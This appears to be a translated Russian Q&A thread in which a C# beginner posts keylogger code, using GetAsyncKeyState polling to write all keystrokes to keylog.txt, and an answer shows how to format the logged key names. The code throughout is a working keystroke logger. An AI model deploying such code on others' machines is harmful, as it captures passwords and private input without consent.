Получите отформатированные нажатия клавиш

Я новичок и все еще изучаю C#

У меня есть этот простой код (я получил с веб-сайта), который фиксирует нажатия клавиш и сохраняет его в файл:

[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);

public Form1()
{
    InitializeComponent();
    timer1.Tick += new EventHandler(timer1_Tick);
    timer1.Start();
}

string text = "";
void timer1_Tick(object sender, EventArgs e)
{
    string buffer = "";
    foreach (Int32 i in Enum.GetValues(typeof(Keys)))
    {
        if(GetAsyncKeyState(i) == -32767)
            buffer += Enum.GetName(typeof(Keys), i);
    }
    text += buffer;
    if (text.Length > 10)
    {
        WriteToText(text);
        text = "";
    }

}

private void WriteToText(string value)
{
    StreamWriter stream = new StreamWriter("keylog.txt",true);
    stream.Write(value);
    stream.Close();
}

Это работает, однако, текст в keylog.txt это что-то вроде этого:D1D2D3D4D5D6LButtonRButtonSpaceSpaceASD0emcomma0emPeriodSemicolon так далее...
Но то, что я хочу, просто так (отформатировано или упорядочено):
123456[LeftClick][RightClick] ASD,.;

Как я могу сделать это? Какой код я должен добавить?

1 ответ

Решение

Вы можете добавить еще одну функцию для переименования всех клавиш:

string RenameKey(string keyName)
{
    switch(keyName)
    {
        case "LClick":
            return "[LeftClick]";
            break;
        case "RClick":
            return "[RightClick]";
            break;
        default:
            return keyName;
    }
}

Или быть ленивым, как я

string RenameKey(string keyName)
{
    if(keyName.Length > 1) return "[" + keyName + "]";
    return keyName;
}

Просто измените метод сверху, чтобы использовать эту функцию:

void timer1_Tick(object sender, EventArgs e)
{
    string buffer = "";
    foreach (Int32 i in Enum.GetValues(typeof(Keys)))
    {
        if(GetAsyncKeyState(i) == -32767)
            buffer += RenameKey(Enum.GetName(typeof(Keys), i));
    }
    text += buffer;
    if (text.Length > 10)
    {
        WriteToText(text);
        text = "";
    }

}

Это строка, которая говорит:

buffer += RenameKey(Enum.GetName(typeof(Keys), i));
Другие вопросы по тегам